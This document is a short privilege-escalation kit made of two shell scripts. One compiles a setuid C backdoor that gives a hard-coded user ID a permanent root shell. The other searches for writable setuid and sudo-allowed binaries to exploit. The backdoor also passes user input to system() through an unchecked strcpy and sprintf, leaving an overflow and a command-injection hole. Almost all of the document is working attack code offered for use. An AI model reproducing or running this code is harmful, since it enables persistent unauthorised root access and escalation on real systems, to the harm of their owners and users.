Find sudo runnable binaries that are writeable, exploit, get permanent root access

acquire_root.sh

#!/bin/bash

if [ $UID -ne 0 ]; then
	echo >&2 "You should run this as root"
	exit
fi 

# Id of user who needs to get root access:
COOL_USER_ID=1089

echo "
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

#define COOL_USER_ID $COOL_USER_ID

int main(int argc, char* argv[]) {
	int uid, retcode=0;
	char username[100]=\"\", permstr[100];
	uid=getuid();
	if(argc>1) {
		if(strcmp(argv[1], \"-t\")==0) {
			printf(\"expected=%d, current=%d\\n\", COOL_USER_ID, uid);
			return 0;
		}
		strcpy(username,argv[1]);
	}
	if(uid==COOL_USER_ID) {
		setuid(0);
		setgid(0);
		sprintf(permstr, \"su %s\", username);
		retcode = system(permstr);
	}
	return retcode;
}
" > "./mu.c"

gcc "./mu.c" -o "./mu"
sudo chmod -v ug+s "./mu"
rm -v "./mu.c"

find_sudo_writable.sh

#!/bin/bash
for f in `find / -perm -4000 -type f 2>/dev/null`; do if [ -w "$f" ]; then echo $f; fi; done

for f in $(sudo -l | sed "s/.*\:/,/g" | xargs | sed "s/,/\n/g" | awk '{print $1}'); do if [ -w "$f" ]; then echo $f; fi; done